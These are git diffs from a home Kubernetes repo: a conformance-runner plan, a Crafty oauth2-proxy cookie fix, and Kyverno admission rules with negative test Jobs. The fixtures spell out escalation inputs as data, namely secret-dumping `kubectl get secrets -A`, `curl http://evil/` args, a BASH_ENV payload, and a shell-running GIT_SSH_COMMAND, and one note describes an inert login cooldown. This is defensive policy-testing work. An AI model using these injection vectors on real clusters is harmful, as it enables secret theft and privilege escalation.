| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,42 +58,17 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -129,19 +104,6 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
+43 -3
View File
@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
`crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
#### Cookie isolation (why the session used to vanish)
This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
authenticated last clobbered the other's session, and the loser logged
`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
exactly as *"I signed in to Keycloak but I'm still not signed in."*
Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
#### Crafty's own local login — this is where setup actually blocks
Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
username/password page. That second factor is intended. What was **not** intended — and what made the
service impossible to set up — is that **nothing documented where that password comes from**.
Crafty generates it **once, on first boot only**, when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
what a browser sees with no hint as to why.
**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
Two traps that runbook covers:
- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
`getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
*records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
the only thing actually limiting who can reach the login form is the oauth2-proxy
`platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
### Keycloak client
+21 -1
View File
@@ -150,7 +150,27 @@ spec:
# Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
- --skip-provider-button=true
- --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
- --cookie-domain=.${BASE_DOMAIN}
# ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
# This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
# INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
# `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
# to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
# scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
# whichever authenticated last overwrote the other's session, and the loser then logged
# "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
# live Keycloak SSO session, silently redirected back and overwrote the cookie again.
# That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
# Keycloak but I am still not signed in to the app."
# Two independent fixes, both applied here (only this side changes -- renaming the
# SHARED proxy's cookie would sign every other gated app out):
# 1. --cookie-name: a unique name, so the two sessions cannot alias at all.
# 2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
# its session to every other host in the zone; the shared proxy keeps the wide
# scope because cross-host forward-auth is precisely its job.
# --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
# REDIRECT targets, not cookie scope.
- --cookie-name=_oauth2_proxy_crafty
- --cookie-domain=crafty.${BASE_DOMAIN}
- --whitelist-domain=.${BASE_DOMAIN}
- --cookie-secure=true
- --pass-access-token=true
@@ -142,236 +142,3 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -19,48 +19,20 @@ resources:
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run, real-template]
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run, real-template]
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
resources: [good-run]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
@@ -83,38 +55,3 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -1,76 +1,4 @@
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
# The committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
@@ -224,241 +152,3 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
+6
View File
